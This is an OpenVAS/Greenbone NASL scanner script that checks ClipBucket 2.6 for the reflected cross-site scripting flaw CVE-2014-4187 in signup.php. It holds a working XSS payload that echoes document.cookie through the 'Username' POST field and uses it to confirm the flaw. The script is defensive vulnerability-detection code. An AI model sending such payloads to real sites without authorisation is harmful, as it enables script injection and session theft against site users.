ClipBucket 'Username' Parameter Cross-Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2014 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:clipbucket_project:clipbucket";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804641");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2014-4187");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2014-06-18 11:17:33 +0530 (Wed, 18 Jun 2014)");
  script_name("ClipBucket 'Username' Parameter Cross-Site Scripting Vulnerability");

  script_tag(name:"summary", value:"ClipBucket is prone to a cross-site scripting (XSS) vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted data via HTTP GET request and check whether it is able to read
  cookie or not.");
  script_tag(name:"insight", value:"Input passed via the HTTP POST parameter 'Username' to 'signup.php' script is
  not properly sanitised before returning to the user.");
  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
  script code in a user's browser session in the context of an affected site.");
  script_tag(name:"affected", value:"ClipBucket version 2.6 revision 738, Other versions may also be affected.");
  script_tag(name:"solution", value:"Upgrade to ClipBucket version 2.7 beta or later.");

  script_xref(name:"URL", value:"http://seclists.org/bugtraq/2014/Jun/119");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/127098");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/532432/100/0/threaded");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2014 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_clipbucket_detect.nasl");
  script_mandatory_keys("clipbucket/Installed");
  script_require_ports("Services/www", 80);
  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  script_xref(name:"URL", value:"http://sourceforge.net/projects/clipbucket/files/Clipbucket%20V2.7/");
  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if(!http_port = get_app_port(cpe:CPE)){
  exit(0);
}

if(!dir = get_app_location(cpe:CPE, port:http_port)){
  exit(0);
}

if( dir == "/" ) dir = "";

host = http_host_name(port:http_port);

url = dir + "/signup.php";
postData = 'username="><script>alert(document.cookie)</script>';

sndReq = string("POST ", url, " HTTP/1.1\r\n",
                "Host: ", host, "\r\n",
                "Content-Type: application/x-www-form-urlencoded\r\n",
                "Content-Length: ", strlen(postData), "\r\n",
                "\r\n", postData, "\r\n");
rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

if(rcvRes =~ "^HTTP/1\.[01] 200" && '><script>alert(document.cookie)</script>' >< rcvRes
   && '>Clipbucket' >< rcvRes)
{
  report = http_report_vuln_url(port:http_port, url:url);
  security_message(port:http_port, data:report);
  exit(0);
}

exit(99);